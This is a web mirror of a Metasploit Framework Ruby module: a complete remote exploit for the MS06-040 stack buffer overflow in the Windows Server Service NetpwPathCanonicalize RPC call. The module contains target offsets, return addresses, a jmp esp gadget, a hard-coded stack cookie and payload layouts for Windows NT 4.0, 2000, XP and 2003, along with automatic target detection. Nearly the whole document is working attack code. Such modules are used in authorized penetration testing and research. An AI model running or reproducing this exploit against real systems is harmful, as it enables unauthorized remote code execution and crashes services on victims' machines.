Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/smb/ms06_040_netapi.rb
19848 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
19
using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
20
other RPC calls could be used to exploit this service. This exploit will result in
21
a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
22
will likely result in a complete reboot on Windows 2000 and the termination of all
23
SMB-related services on Windows XP. The default target for this exploit should succeed
24
on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
25
},
26
'Author' => [
27
'hdm'
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[ 'CVE', '2006-3439' ],
32
[ 'OSVDB', '27845' ],
33
[ 'BID', '19409' ],
34
[ 'MSB', 'MS06-040' ],
35
],
36
'DefaultOptions' => {
37
'EXITFUNC' => 'thread',
38
},
39
'Privileged' => true,
40
'Payload' => {
41
# Technically we can use more space than this, but by limiting it
42
# to 370 bytes we can use the same request for all Windows SPs.
43
'Space' => 370,
44
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
45
'StackAdjustment' => -3500,
46
},
47
'Platform' => 'win',
48
'DefaultTarget' => 0,
49
'Targets' => [
50
[ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', {} ],
51
[
52
'(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
53
{
54
'Offset' => 1000,
55
'Ret' => 0x00020804
56
}
57
],
58
[
59
'(wcscpy) Windows XP SP0/SP1',
60
{
61
'Offset' => 612,
62
'Ret' => 0x00020804
63
}
64
],
65
[
66
'(stack) Windows XP SP1 English',
67
{
68
'OffsetA' => 656,
69
'OffsetB' => 680,
70
'Ret' => 0x71ab1d54 # jmp esp @ ws2_32.dll
71
}
72
],
73
[
74
'(stack) Windows XP SP1 Italian',
75
{
76
'OffsetA' => 656,
77
'OffsetB' => 680,
78
'Ret' => 0x71a37bfb # jmp esp @ ws2_32.dll
79
}
80
],
81
[
82
'(wcscpy) Windows 2003 SP0',
83
{
84
'Offset' => 612,
85
'Ret' => 0x00020804
86
}
87
],
88
],
89
'Notes' => {
90
'Reliability' => [ UNRELIABLE_SESSION ],
91
'Stability' => [ CRASH_OS_RESTARTS, CRASH_SERVICE_DOWN ],
92
'SideEffects' => UNKNOWN_SIDE_EFFECTS
93
},
94
'DisclosureDate' => '2006-08-08'
95
)
96
)
97
98
register_options(
99
[
100
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
101
]
102
)
103
104
deregister_options('SMB::ProtocolVersion')
105
end
106
107
def exploit
108
connect(versions: [1])
109
smb_login()
110
111
mytarget = target
112
if (not target) or (target.name =~ /Automatic/)
113
case smb_peer_os()
114
when 'Windows 5.0'
115
print_status("Detected a Windows 2000 target")
116
mytarget = targets[1]
117
118
when 'Windows NT 4.0'
119
print_status("Detected a Windows NT 4.0 target")
120
mytarget = targets[1]
121
122
when 'Windows 5.1'
123
begin
124
smb_create("\\SRVSVC")
125
print_status("Detected a Windows XP SP0/SP1 target")
126
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
127
if (e.error_code == 0xc0000022)
128
print_status("Windows XP SP2 is not exploitable")
129
return
130
end
131
print_status("Detected a Windows XP target (unknown patch level)")
132
print_status("To exploit this system, \"set TARGET 2\" and run this exploit again")
133
end
134
return
135
136
when /Windows Server 2003 (\d+)$/
137
print_status("Detected a Windows 2003 SP0 target, but have not confirmed English language")
138
print_status("To exploit this system, \"set TARGET 5\" and run this exploit again")
139
# mytarget = targets[5]
140
return
141
142
when /Windows Server 2003 (\d+) Service Pack (\d+)/
143
print_status("Windows 2003 SP#{$2} is not exploitable")
144
return
145
146
when /Samba/
147
print_status("Samba is not vulnerable")
148
return
149
150
else
151
print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
152
return
153
end
154
end
155
156
# Specific fixups for Windows NT
157
case smb_peer_os()
158
when 'Windows NT 4.0'
159
print_status("Adjusting the SMB/DCERPC parameters for Windows NT")
160
datastore['SMB::pipe_write_min_size'] = 2048
161
datastore['SMB::pipe_write_max_size'] = 4096
162
end
163
164
handle = dcerpc_handle(
165
'4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
166
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
167
)
168
169
print_status("Binding to #{handle} ...")
170
dcerpc_bind(handle)
171
print_status("Bound to #{handle} ...")
172
173
#
174
# /* Function 0x1f at 0x767e912c */
175
# long function_1f (
176
# [in] [unique] [string] wchar_t * arg_00,
177
# [in] [string] wchar_t * arg_01,
178
# [out] [size_is(arg_03)] char * arg_02,
179
# [in] [range(0, 64000)] long arg_03,
180
# [in] [string] wchar_t * arg_04,
181
# [in,out] long * arg_05,
182
# [in] long arg_06
183
# );
184
#
185
186
print_status("Building the stub data...")
187
stub = ''
188
189
case mytarget.name
190
191
# This covers NT 4.0 as well
192
when /wcscpy.*Windows 2000/
193
194
code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded
195
196
path = code + ([mytarget.ret].pack('V') * 16) + "\x00\x00"
197
198
stub =
199
NDR.long(rand(0xffffffff)) +
200
NDR.UnicodeConformantVaryingString('') +
201
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
202
NDR.long(rand(250) + 1) +
203
NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
204
NDR.long(rand(250) + 1) +
205
NDR.long(0)
206
207
when /wcscpy.*Windows XP/
208
path =
209
# Payload goes first
210
payload.encoded +
211
212
# Padding
213
rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
214
215
# Land 6 bytes in to bypass garbage (XP SP0)
216
[ mytarget.ret + 6 ].pack('V') +
217
218
# Padding
219
rand_text_alphanumeric(8) +
220
221
# Address to write our shellcode (XP SP0)
222
[ mytarget.ret ].pack('V') +
223
224
# Padding
225
rand_text_alphanumeric(32) +
226
227
# Jump straight to shellcode (XP SP1)
228
[ mytarget.ret ].pack('V') +
229
230
# Padding
231
rand_text_alphanumeric(8) +
232
233
# Address to write our shellcode (XP SP1)
234
[ mytarget.ret ].pack('V') +
235
236
# Padding
237
rand_text_alphanumeric(32) +
238
239
# Terminate the path
240
"\x00\x00"
241
242
stub =
243
NDR.long(rand(0xffffffff)) +
244
NDR.UnicodeConformantVaryingString('') +
245
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
246
NDR.long(rand(0xf0) + 1) +
247
NDR.UnicodeConformantVaryingString('') +
248
NDR.long(rand(0xf0) + 1) +
249
NDR.long(0)
250
251
when /stack/
252
buff = rand_text_alphanumeric(800)
253
buff[0, payload.encoded.length] = payload.encoded
254
buff[mytarget['OffsetA'], 4] = [mytarget.ret].pack('V')
255
buff[mytarget['OffsetB'], 5] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V')
256
257
path = "\\\x00\\\x00" + buff + "\x00\x00"
258
259
stub =
260
NDR.long(rand(0xffffffff)) +
261
NDR.UnicodeConformantVaryingString('') +
262
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
263
NDR.long(rand(0xf0) + 1) +
264
NDR.UnicodeConformantVaryingString('') +
265
NDR.long(rand(0xf0) + 1) +
266
NDR.long(0)
267
268
when /wcscpy.*Windows 2003/
269
path =
270
# Payload goes first
271
payload.encoded +
272
273
# Padding
274
rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +
275
276
# Padding
277
rand_text_alphanumeric(32) +
278
279
# The cookie is constant,
280
# noticed by Nicolas Pouvesle in Misc #28
281
"\x4e\xe6\x40\xbb" +
282
283
# Padding
284
rand_text_alphanumeric(4) +
285
286
# Jump straight to shellcode
287
[ mytarget.ret ].pack('V') +
288
289
# Padding
290
rand_text_alphanumeric(8) +
291
292
# Address to write our shellcode
293
[ mytarget.ret ].pack('V') +
294
295
# Padding
296
rand_text_alphanumeric(40) +
297
298
# Terminate the path
299
"\x00\x00"
300
301
stub =
302
NDR.long(rand(0xffffffff)) +
303
NDR.UnicodeConformantVaryingString('') +
304
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
305
NDR.long(rand(0xf0) + 1) +
306
NDR.UnicodeConformantVaryingString('') +
307
NDR.long(rand(0xf0) + 1) +
308
NDR.long(0)
309
310
end
311
312
print_status("Calling the vulnerable function...")
313
314
begin
315
dcerpc.call(0x1f, stub, false)
316
dcerpc.call(0x1f, stub, false)
317
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
318
rescue => e
319
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
320
raise e
321
end
322
end
323
324
# Cleanup
325
handler
326
disconnect
327
end
328
end
329
330